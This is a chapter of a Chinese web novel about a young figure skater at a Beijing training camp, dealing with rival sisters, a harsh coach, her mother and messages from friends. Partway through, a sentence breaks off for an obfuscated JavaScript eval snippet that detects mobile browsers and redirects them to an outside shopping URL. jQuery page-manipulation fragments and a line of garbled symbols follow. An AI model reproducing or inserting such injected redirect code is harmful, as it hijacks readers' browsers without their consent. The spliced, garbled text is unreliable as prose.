十一月中旬，北京。
余穗训练前洗的毛巾早干了，她重新打湿了往脸上一罩，瞬间冻得她一哆嗦，她任由自己放空了一会，直到闹钟响起，才掀了毛巾去把脸洗干净。
斯韦特兰娜的训练营果然不是说着玩的，一天下来余穗像被人拿擀面杖碾了一遍，一张脸红是红白是白，汗珠子止不住地往外冒。
她对着镜子看了几眼，突然发现身后有人在凝视她。
是两个同样参加训练营的女孩，她暂时还不能将她们的名字和脸对应起来，便微笑着朝她们点点头。
这俩人却认识她，大一点的张嘴便问：“余穗，听说你能跳四周了？今天训练的时候怎么不跳？”
小的也说：“对啊，还以为你会跳给斯威特教练看。”
余穗还是想不起来她们的姓名，只好礼貌地笑笑：“昨天刚下飞机，人挺累的。”
而且训练计划里今天也没有跳跃课。
“怪不得，”大的说，“你看起来要累瘫了。”
“明天能跳吗？”小的问。
余穗终于想起来了，大的叫卞琳，小的叫卞苪，是对姐妹。她们第一次见面是八月的俱乐部联赛，但她那时候精神状态不好，没记住她们。
如果没记错，在她比国际赛的时候，卞琳在俱乐部联赛总决赛拿了银牌，金牌是齐慧。
“想看你跳。”卞琳说，“你泰国站咋不赌个大的上四周，说不定你就能去总决赛了，毕竟两个名额都给了你，网上都在说这事，你知不知道啊。”
赌俩3A已经够大了，再上个根本站不住的四周说不定得被协会打进冷宫。
“不知道，”余穗低头去拎训练包，“但我知道你们俩没啥礼貌。”
卞琳吸了一口气：“干嘛像点了火药，我就问问而已啊？”
“喔，要看自己学，学会了跳百八十个都没人管你的，”余穗笑笑，把单肩包挎肩上，“让一让，我要走了。”
卞苪眼睛慢慢地睁大了，看着余穗的身影消失在走廊里，她忍不住说：“姐，你看她说的什么话嘛！”
是她们不想跳吗？是她们不会好吧，但经过她们反复观察，余穗这个四周也就3.5周，或许多摔摔她们也能练出来。
但摔冰上可疼可疼了。
卞琳撇撇嘴：“你看她连个准话也不给，那个4Lz多半是蒙的，也不怕崴到脚，我们国家待遇本来就差，她就算上了国际赛也认不了吧。”
话音未落，余穗从拐角探出个头：“嘿！有空在这里作法，不如把工夫用到世青赛上，祝我世青赛能拿好名次，明年给你们拿名额呢！”
她大声喊完，缩回去吃吃笑了一声，又忍不住皱皱鼻子。
这个冰场主要用做冰球训练，淡淡脚臭汗臭无处不在，皮革的休息椅上带着冰场经年的潮湿。从更衣室走出去，长长的走廊铺着胶皮，踩上去嘎吱嘎吱响。
她推开冰场厚重的玻璃门，干燥清爽的空气瞬间裹住了她，天是无边浩荡的蓝，银杏叶打着旋儿往下飘，满北京都是浓郁的秋意。
她抬手拍了张照片，给余宏哲发一张，给周柠萌发一张，想了想，给江准也发了一张。
江准竟然是最快回复的。
“这边天气还很热。”
余穗从鼻腔里发出点气音：“我当然知道，我前天还在粤市呢。”
江准问：“北京怎么样？”
“天气很好，”余穗说，“但没来得及逛，训练很累，但教练人不错。”
她想起刚遇见的两个人，犹豫了一会，地铁进站，下班的人潮把她裹挟进列车里，她就像风浪里的小舟起起伏伏，根本抬不起手，也够不着吊环，只好用指甲扣着铁柱子。
此时的她无比地想念姚叔。
两站后，余穗走出地铁站，向漪订的酒店就在几百米外，如果没有意外，她推开门就能见到向漪。
红灯闪烁，由红变绿，人潮淌上斑马线，沸腾的人声遮盖住耳机里的歌声，身边行人匆匆，各自为生活烦恼，余穗摘下耳机，人声变得更加清晰，有一个声音在叫她。
“穗！余-穗！”
余穗循声望去，塔季扬娜站在红绿灯牌下，闪烁的霓虹灯在她脸上晃动，见余穗走过来，嘴角露出点笑，又很快抿直了。
“hello,”余穗说，“啥事？”
“`*isnov&-_$%%${￥}|*.
余穗嘴角微微一抽，从善如流地拿出手机。
从拥挤的地下出来后终于恢复了信号的手机蹦出一大串信息，手机屏幕还停留在和江准的聊天界面。
江准让她好好休息，过了几分钟又给她发了几张照片，说是今晚的任务。
又过了一会，发来一个不知道哪里找的摸摸头表情包。
余穗不想理他，塔季扬娜倒是不见外地凑过来看几眼，可惜她看不懂。
余穗终于找到翻译软件。
塔季扬娜问的是：“导航让我换乘，走了好长的路，看到楼梯就爬上来了，不知道怎么去训练馆。”
余穗抬头望望近在咫尺的酒店，又望望面露迷茫的塔季扬娜，热情一下子就上来了：“我带你回去！”
…
余穗深吸一口气，推开酒店房门。
她直直对上向漪的脸，向漪正站在穿衣镜前穿衣服。
两人沉默对视片刻，余穗低头从她身边溜过，说：“我回来了。”
向漪把外套脱下来挂衣架上，淡淡道：“怎么回来这么晚，下回我接送你吧。”
才不要。
“和塔季扬娜交流了一下。”
带路怎么不算交流呢。
“嗯，”向漪脸色和缓不少，心想这个训练营确实有用，“她技术很好，多向她学习，要不是不让家长旁观，妈妈也想去学学。”
塔季扬娜技术确实好，但比她还要路痴。
晚餐没人说话，余穗扒拉了几口饭就钻进房间里，向漪嘴巴开开合合，最终忍了回去。
余穗和齐慧打了会游戏，齐慧问她：“训练营咋样，累吗？”
累，斯韦特兰娜就像个机器人根本不会累，一天下来余穗在冰上得待六七个小时。
但余穗滴水不漏，只是笑笑：“还好，你啥时候能过来啊？”
一个人听不懂英文也听不懂俄语真是寂寞如海。
训练营的参加要求是五个三周全，会低级三三连跳，花滑考级十级水平，满足这个条件的国内选手不超过三十个，况且两周半的学费要七八万，选手的钱不是大风刮来的，自然选择花在更需要的地方。
所以这次训练营只来了十几个人。齐慧和陆定骁也报了名，可偏偏这几天正好赶上分班考试，学校规定不参加考试的一律打进差班，两人无奈只能推迟几天入营，平白亏了将近一万块。
“明天早上最后一科考完立刻去，”齐慧的心在滴血，“说实话，我的成绩还不错，所以考试对我来说挺重要的，但不晓得陆定骁为啥也要跟着凑热闹，他考不考不都一个样。”
“骁哥说他这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492751|202315||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
段时间天天头悬梁锥刺股呢，”余穗说，“他让你别小看他。”
齐慧闷声笑了好一阵，才说行，等出成绩自然见真章，她还要说什么，忽然又止住，说：“我妈回家了，我学习去了，明天见请你喝豆汁儿焦圈哈。”
余穗没来得及回答，齐慧就匆匆退了游戏，只剩下微信消息一个个从界面蹦出来。
江准：“数学最后选择填空和大题最后一道可以不写，你应该不会。”
江准：“物理打勾的可以不写，你不会。”
江准：“化学也是。”
余穗愤愤按灭手机，心想就算是事实，也没必要全点出来吧。
手机罔顾人意地亮了。
江准：“回来再给你讲。”
江准：“金子今天吃了好几顿。”
余穗盯着屏幕看了几秒，揣测江准的用意，谨慎地回：“好的，谢谢你。”
随即转头从冰箱里拿冰袋敷脚，洗澡，躺床上打开英语书，背完abandon后，两眼一闭，昏睡过去。
…
早上七点二十分，余穗一手拎包，一手拉拖箱，穿了件皱巴巴的厚外套，准点在冰场门口与陆定骁相遇。
相比余穗的萎靡，尚未受过磋磨的陆定骁很是精神，深秋早晨的北京只有七八度，陆定骁只穿一件防风外套，里边套了件训练服。
“早。”他笑眯眯地帮余穗拉开门。
余穗晕乎乎地道谢，几秒钟后猝然反应过来，一把扒拉开遮挡视线的头发：“不是…咦，你不用考试吗？”
陆定骁露出一言难尽的神情，最终郑重其事道：“我仔细想了想，还是觉得几千块的训练费比较重要。”
此理由听着冠冕堂皇，但在第二天被齐慧毫不留情地戳穿。真正的原因意料之中，第二天考完英语，陆定骁心里就门儿清了，高中剩下的两年半，他必定要在差班不挪窝了。
“68分的英语，我随便踩一脚都比这高分。”齐慧一边压腿一边笑，“68分，陆定骁，你还是去过五次国际赛的人呢。”
卞苪跳绳四摇再次失败，忍不住说：“我上学期末考了110分！”
余穗真情夸赞：“好棒的英语。”
卞苪继续说：“姐姐考了九十六分！虽然比我少，但比骁哥高。”
卞琳给了她一个白眼：“你初一，我初三了，难度能一样吗？”
但显然她对该成绩很满意，转头问余穗：“你呢？”
余穗助跑几步，肌肉发力，蹦了个陆地3A，随后又跳了陆地四周，才摘下耳机：“你说什么？”
卞琳撇过头去：“…没什么。”
“哦，”余穗笑笑，“我英语不太好，上期末有一百来分吧。”
实则不然，英语是她最好的一门，物理和化学两门的分还没一门英语高。
但英语成绩好，并不妨碍她听不懂斯韦特兰娜的俄式英语，舌头卷在嘴里，噜噜嘚嘚地弹。
“…”她转过头，无助地问翻译姐姐，“教练的话好多…她在说什么？”
翻译姐姐沉默半晌，擦擦额头不存在的冷汗，冰刀在冰面上不安地滑动。
“她说你这个轴就像柳枝在空中舞动四肢，收紧的时候腿像恶心的叉子…不知道你是怎么能落冰的…落冰一点也不会用膝盖，没过多久膝盖就会像玻璃一样碎掉，然后再打进几颗金属钉子…不知道你怎么能练出四辣子，周数居然还挺好来着。”
陆定骁从旁边滑过，真诚地感慨：“简直就是土法炼钢的奇迹。”